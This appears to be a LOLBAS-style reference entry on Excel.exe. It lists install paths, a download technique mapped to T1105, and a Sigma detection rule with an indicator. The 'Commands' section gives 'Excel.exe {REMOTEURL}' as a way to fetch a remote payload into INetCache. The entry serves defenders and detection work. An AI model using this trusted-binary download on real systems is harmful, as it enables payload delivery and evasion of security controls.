Excel.exe

type: OtherMSBinaries

Microsoft Office binary

Full path

C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\Excel.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\Excel.exe
C:\Program Files (x86)\Microsoft Office\Office16\Excel.exe
C:\Program Files\Microsoft Office\Office16\Excel.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\Excel.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\Excel.exe
C:\Program Files (x86)\Microsoft Office\Office15\Excel.exe
C:\Program Files\Microsoft Office\Office15\Excel.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\Excel.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\Excel.exe
C:\Program Files (x86)\Microsoft Office\Office14\Excel.exe
C:\Program Files\Microsoft Office\Office14\Excel.exe
C:\Program Files (x86)\Microsoft Office\Office12\Excel.exe
C:\Program Files\Microsoft Office\Office12\Excel.exe
C:\Program Files\Microsoft Office\Office12\Excel.exe

Commands

DownloadUser T1105
It will download a remote payload and place it in INetCache.
```
Excel.exe {REMOTEURL}
```
Downloads payload from remote server
os: Windows
Download: INetCache

Detection

Sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_office.yml
IOCSuspicious Office application Internet/network traffic

Resources

acknowledgement: Reegun J (OCBC Bank) @reegun21